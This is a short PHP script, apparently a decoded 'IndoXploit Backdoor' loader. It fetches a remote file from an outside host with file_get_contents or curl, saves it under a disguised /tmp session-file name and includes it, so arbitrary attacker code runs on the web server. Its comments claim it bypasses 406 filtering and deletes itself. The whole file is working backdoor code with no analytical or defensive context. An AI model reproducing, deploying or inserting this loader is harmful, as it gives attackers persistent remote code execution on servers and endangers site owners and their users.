PHP Decode

<?php 
# IndoXploit Backdoor 
# Bypass 406 Not Acceptable & Auto Delete Shell 
# Coded by: L0c4lh34rtz - IndoXploit  ifre IndoXploit 
  
$URL = 'http://www.groovy-steel.com/upload/files/andela.txt';  # Backdoor URL 
$TMP = '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'; # dont change this !! 
  
function M() { 
    $FGT = @file_get_contents($GLOBALS['URL']); 
    if(!$FGT) { 
        echo `curl -k $(echo {$GLOBALS['URL']}) > {$GLOBALS['TMP']}`; 
    } else { 
        $HANDLE = fopen($GLOBALS['TMP'], 'w'); 
        fwrite($HANDLE, $FGT); 
        fclose($HANDLE); 
    } 
    echo '<script>window.location="?indoxploit";</script>'; 
} 
  
if(file_exists($TMP)) { 
    if(filesize($TMP) === 0) { 
        unlink($TMP); 
        M(); 
    } else { 
        include($TMP); 
    } 
} else { 
    M(); 
} 
?>